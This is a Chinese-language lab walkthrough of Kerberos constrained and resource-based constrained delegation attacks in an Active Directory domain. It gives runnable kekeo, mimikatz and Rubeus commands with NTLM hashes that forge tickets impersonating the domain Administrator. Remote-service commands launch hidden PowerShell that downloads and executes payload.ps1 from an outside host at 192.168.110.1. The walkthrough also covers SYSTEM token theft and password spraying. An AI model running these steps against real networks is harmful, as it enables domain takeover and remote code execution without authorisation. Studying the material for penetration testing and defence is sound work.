服务账号B可以代表用户A向KDC申请访问B的票据,那么服务账号B能否代表域内管理员向KDC申请访问B的票据呢?
在这个过程中,不需要域内管理员的参与,在服务账号B自身就可以完成 -
服务账号B可以代表用户A向KDC申请访问C的票据,那么服务账号B能否代表域内管理员向KDC申请访问C的票据呢?
在这个过程中,不需要域内管理员的参与,在服务账号B自身就可以完成
问题解决
- 只需要知道服务账户的密码或者hash值就可以申请任意用户访问自身的票据(ST1票据)
- 使用ST1票据就可以申请任意用户访问委派的目标服务的票据(ST2)
约束性委派攻击的前提
- 知道设置约束性委派的用户名和密码(或者hash值)
- 知道设置约束性委派设置的委派目标的SPN
约束性委派攻击分为两步
- 利用设置约束性委派的用户名申请ST
- 利用ST1去申请ST2(任意用户的,一般是域管理员)
查询已配置账户
adfind
查询约束性委派服务账号
AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
PowerView.ps1
查询约束性委派的机器账户
Get-DomainComputer -TrustedToAuth -domain 域名 -Properties distinguishedname,msds-allowedtodelegateto|ft -Wrap -AutoSize
查询约束性委派的服务账户
Get-DomainUser -TrustedToAuth -domain 域名 -Properties distinguishedname,msds-allowedtodelegateto|fl
实验
机器账户上线域内机器
前提条件
- 机器用户的hash值
- 机器用户设置委派的机器与服务
1、查询设置委派的机器用户
AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
2、在机器用户上面直接查询hash值,(需要提权)
cs中的提权脚本地址:https://github.com/rsmudge/ElevateKit
提权成功
3、继续获取机器用户的hash值
10b9db776c68b68139ad65e5ae04069d
4、使用kekeo.exe工具申请TGT票据
shell kekeo.exe "tgt::ask /user:LM$ /domain:xbxaq.com /NTLM:10b9db776c68b68139ad65e5ae04069d" "exit"
5、申请ST1票据
shell kekeo.exe "tgs::s4u /tgt:TGT_LM$@XBXAQ.COM_krbtgt~xbxaq.com@XBXAQ.COM.kirbi /user:Administrator@xbxaq.com /service:HOST/ph.xbxaq.com" "exit"
6、申请ST2票据,并注入内存中
shell mimikatz.exe "kerberos::ptt TGS_Administrator@xbxaq.com@XBXAQ.COM_HOST~ph.xbxaq.com@XBXAQ.COM.kirbi /ptt" "exit"
7、通过sc服务上线
shell sc \\ph.xbxaq.com create test binpath= "cmd.exe /c powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.110.1:8000/payload.ps1'))\""
shell sc \\ph.xbxaq.com start test
服务账号上线域内机器
前提条件
- 域用户的hash值或密码
- 域用户设置委派的机器与服务
1、查询设置委派的服务账户
shell AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
2、获取lm用户的hash值
3ea43f5e0b23aca3eaa64f2ccc50bf2e
3、申请TGG票据
shell kekeo.exe "tgt::ask /user:lm /domain:xbxaq.com /NTLM:3ea43f5e0b23aca3eaa64f2ccc50bf2e" "exit"
4、申请ST1票据
shell kekeo.exe "tgs::s4u /tgt:TGT_lm@XBXAQ.COM_krbtgt~xbxaq.com@XBXAQ.COM.kirbi /user:administrator@xbxaq.com /service:HOST/ph.xbxaq.com" "exit"
5、申请ST2票据,并同时注入到内存中
shell mimikatz.exe "kerberos::ptt TGS_administrator@xbxaq.com@XBXAQ.COM_HOST~ph.xbxaq.com@XBXAQ.COM.kirbi /ptt" "exit"
6、通过服务上线
shell sc \\ph.xbxaq.com create stt2 binpath= "cmd.exe /c powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.110.1:8000/payload.ps1'))\""
shell sc \\ph.xbxaq.com start stt2
基于资源的约束性委派
概述
微软在Windows Server 2012中新引入了基于资源的约束性委派(Resource Based Constrained Delegation),简称RBCD。
基于资源的约束性委派将不需要通过域管理员进行修改,而是将设置属性的权限给了服务资源本身。
以WEB服务器和文件服务器为例,传统的约束性委派需要在WEB服务器上设置委派属性,以指定对文件服务器上的哪一个服务进行委派。而在基于资源的约束性委派中,需要在文件服务器上设置资源委派,以允许WEB服务器对文件服务器上的服务进行委派。
设置方式
基于资源的约束性委派中,属性值为msDS-AllowedToActOnBehalfOfOtherIdentity,但是这是值任何用户都不能修改。
WEB服务器的机器名为zhangsan.xbxaq.com,文件系统服务器的机器用户名为server-16.xbxaq.com
登录server-16.xbxaq.com计算机,以administrator的身份登录计算机,打开powershell执行如下的命令进行修改msDS-AllowedToActOnBehalfOfOtherIdentit
1、设置变量值
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WEB服务器的SID值)";
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1445356431-3472965171-1941165345-1104)";
2、转换为16进制
$SDBytes = New-Object byte[] ($SD.BinaryLength);
$SD.GetBinaryForm($SDBytes,0);
3、设置RBCD
导入Powerview.sp1脚本,执行以下命令
Import-Moudle .\Powerview.sp1
Get-DomainComputer 设置委派的机器名 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Get-DomainComputer server-16.xbxaq.com | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
设置成功
4、清除RBCD
Set-DomainObject 设置委派的机器名 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
Set-DomainObject server-16.xbxaq.com -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
配置RBCD的用户
并不是所有的用户都可以设置RBCD,需要的条件如下:
- 当机器加入域时使用的账户
- 计算机的机器用户(system)
- 域管理员(administrator)
- Account Operator组中的成员
当机器加入域时使用的账户
在大型内网环境中,将机器加入到域环境中一般不会用到域管权限,而是使用一个专门用来加入域的域用户进行操作。默认情况下,并非只有域管理员才可以将普通用户加入到域环境。
提示:域中的每一个普通账号都有将10台电脑加入域的权限,默认是十台,如果要修改可以更改ms-DS-MachineAccountQuota的值。
用zhong的域内用户使得机器加入域环境中
一旦电脑使用普通的域用户加入了域,在机器的属性中mS-DS-CreatorSID就是加入域用户的 SID值
使用zhong用户登录电脑,执行配置RBCD的命令
机器用户
计算机中的机器用户也可以进行配置RBCD,可使用令牌提权到system权限,system权限可以代表机器用户执行RBCD
incognito.exe工具
列出令牌
incognito.exe list_tokens -u
如果有system令牌的话如下
使用System令牌
incognito.exe execute -c "NT AUTHORITY\SYSTEM" powershell.exe
配置RBCD
域内管理员
域管理员是可以配置RBCD的
Account Operator组中的成员
Account Operators组,该组是内置的本地域组。该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。但是,不能更改属于Administrators或Domain Admins组的账号,也不能更改这些组。在默认情况下,该组中没有成员。也就是说,该组默认是域内管理用户和组的特殊权限组。可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录。
默认情况下成员为空
添加一个成员到Account Operators组中
使用liming账户配置RBCD
S4U协议分析
使用Rubeus.exe工具,伪造可任意用户登录
Rubeus.exe s4u /user:用户名 /rc4:对应的hash值 /domain:域名 /msdsspn:伪造的服务/委派机器名 /impersonateuser:伪造的用户 /ptt
注意:可以伪造任意服务,因为没有指定服务
环境准备
server 2012 dbcd.xbxaq.com设置委派
目前已经控制yh机器,并得知rbcd机器设置了基于资源性的约束性委派
1、使用mimikatz工具获取yh机器用户的hash值
2、Rubeus.exe工具
Rubeus.exe s4u /user:YH$ /rc4:5bc6dac2ad6010504b722258ff8ff3e7 /domain:xbxaq.com /msdsspn:CIFS/rbcd.xbxaq.com /impersonateuser:administrator /ptt
流量分析
执行Rubeus工具相关命令后共有六条kerberos数据
第一条 AS-REQ
YH$用户提供自己的身份信息,请求自己的TGT(该TGT是可以转发的)
可以转发的TGT
第二条数据 AS-REP
返回YH用户的TGT票据
第三条数据 TGS-REQ
使用上一步得到的YH$票据(在数据包内),以administrator的身份向TGS申请一张访问自身的ST票据
第四条数据 TGS-REP
TGS返回给给YH$用户一张 administrator用户访问自身的ST票据
第五条数据 TGS-REQ
YH$得到ST票据之后,以该ST票据为证据,申请一张administrator用户访问RBCD机器的CIFS服务的ST票据(可以申请任意服务的ST票据)。这里使用的是S4U2Proxy协议
第六条数据 TGS-REP
TGS返回YH$用户,以administrator用户身份访问rbcd机器的CIFS服务的ST票据
查询已配置机器
查询配置了RBCD的机器账户
AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn
查询已配置RBCD的域账户
AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn
查询机器是由哪个用户加入到域中的(查询的是SID值)
AdFind.exe -b "DC=xbxaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
通过SID值查询用户
AdFind.exe -sc adsid:S-1-5-21-1445356431-3472965171-1941165345-1111 -d
实验
域内已知:控制了LM机器,域控为DC
攻击RBCD配置机器上线CS
1、查询配置了RBCD的机器
shell AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn
2、查询PH给哪台机器设置了委派,CS加载脚本进行查询
powershell-import Powerview.ps1
$xbx=Get-DomainComputer PH -Properties 'msds-allowedtoactonbehalfofotheridentity' | Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity;(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $xbx, 0).DiscretionaryAcl
3、通过这个SID查询具体的账户
shell AdFind.exe -sc adsid:S-1-5-21-2744095687-1279945619-2928600117-1111 -dn
注意:如果是机器账号必须要控制该机器,如果是域账户可以通过密码喷洒
LM$机器用户设置的ph.xbxaq.com,控制的机器就是LM
接下来进行委派攻击,与约束性委派攻击实验相同